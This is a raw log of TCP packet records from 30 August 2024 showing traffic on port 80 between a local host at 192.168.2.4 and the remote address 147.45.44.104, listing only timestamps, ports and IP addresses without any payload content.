Aug 30, 2024 06:17:05.721925020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.721935034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.721942902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.721956968 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.721967936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.721973896 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.722001076 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.722067118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722076893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722084999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722094059 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722105026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722114086 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.722114086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722135067 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.722145081 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.722152948 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722172022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722182035 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722191095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722198963 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722214937 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.722234964 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.722325087 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722332954 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722341061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722351074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722359896 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722371101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722371101 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.722394943 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.722413063 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.722414970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722424030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722439051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722448111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722457886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722461939 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.722465992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722486973 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.722503901 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.722866058 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722875118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722884893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722898006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722908974 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.722908974 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.722933054 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.722942114 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.723877907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.723887920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.723897934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.723921061 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.723941088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.723943949 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.723949909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.723958969 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.723979950 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.724024057 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.724046946 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.724056959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.724066019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.724076033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.724085093 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.724091053 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.724093914 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.724102020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.724113941 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.724132061 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.724168062 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.724176884 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.724185944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.724195957 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.724205971 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.724215031 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.724215984 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.724226952 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.724245071 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.724368095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.724378109 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.724386930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.724415064 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.724425077 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.726457119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726521015 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.726607084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726615906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726624966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726634979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726648092 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.726650000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726660013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726667881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726669073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.726669073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.726677895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726681948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.726695061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726701975 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.726736069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.726736069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.726836920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726846933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726856947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726866961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726878881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726888895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726906061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.726906061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.726921082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726932049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726954937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.726954937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.726984024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.726994038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727003098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727016926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727027893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727034092 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727067947 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727067947 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727101088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727112055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727121115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727130890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727142096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727152109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727161884 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727164984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727179050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727206945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727206945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727206945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727305889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727314949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727324009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727334023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727344036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727354050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727363110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727370977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727370977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727371931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727402925 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727402925 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727432013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727442026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727451086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727458954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727468967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727479935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727488995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727500916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727505922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727505922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727505922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727540016 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727540016 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727581978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727591991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727600098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727610111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727619886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727627993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727628946 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727637053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727647066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727657080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727663040 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727663040 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727677107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727685928 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727730036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727740049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727747917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727758884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727767944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727772951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727777958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727787018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727794886 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727847099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727847099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.727983952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.727993011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728002071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728012085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728020906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728030920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728039026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728048086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728048086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728063107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728091002 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728203058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728214025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728223085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728231907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728256941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728266001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728379965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728415966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728434086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728476048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728540897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728550911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728559971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728569031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728615999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728615999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728662968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728672981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728682041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728692055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728702068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728712082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728728056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728728056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728730917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728748083 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728759050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728785992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728792906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728801966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728811026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728822947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728831053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728841066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728852034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728864908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728872061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728872061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728872061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728874922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728899002 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728914022 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.728965044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728974104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728982925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.728992939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729002953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729013920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729022980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729028940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729028940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729033947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729043961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729062080 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729062080 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729064941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729074001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729074955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729104996 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729113102 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729136944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729146004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729154110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729162931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729180098 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729213953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729270935 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729280949 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729290009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729314089 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729325056 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729343891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729353905 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729362965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729372025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729389906 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729412079 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729526043 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729536057 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729547024 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729557037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729566097 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729567051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729582071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729590893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729592085 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729600906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729610920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729614973 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729625940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729629040 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729636908 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729646921 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729650021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729660988 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729670048 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729671955 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729696035 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729712009 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729743004 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729751110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729758978 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729768991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729778051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729785919 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729787111 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729798079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729808092 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729810953 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729823112 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729831934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729845047 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729875088 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.729959011 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729968071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729976892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729985952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.729996920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730005026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730007887 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.730015039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730024099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730029106 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.730036020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730047941 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.730058908 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.730077028 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.730106115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730115891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730123997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730138063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730146885 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.730146885 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730155945 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730165958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730168104 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.730175018 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730185986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730191946 CEST	49735	80	192.168.2.4	147.45.44.104
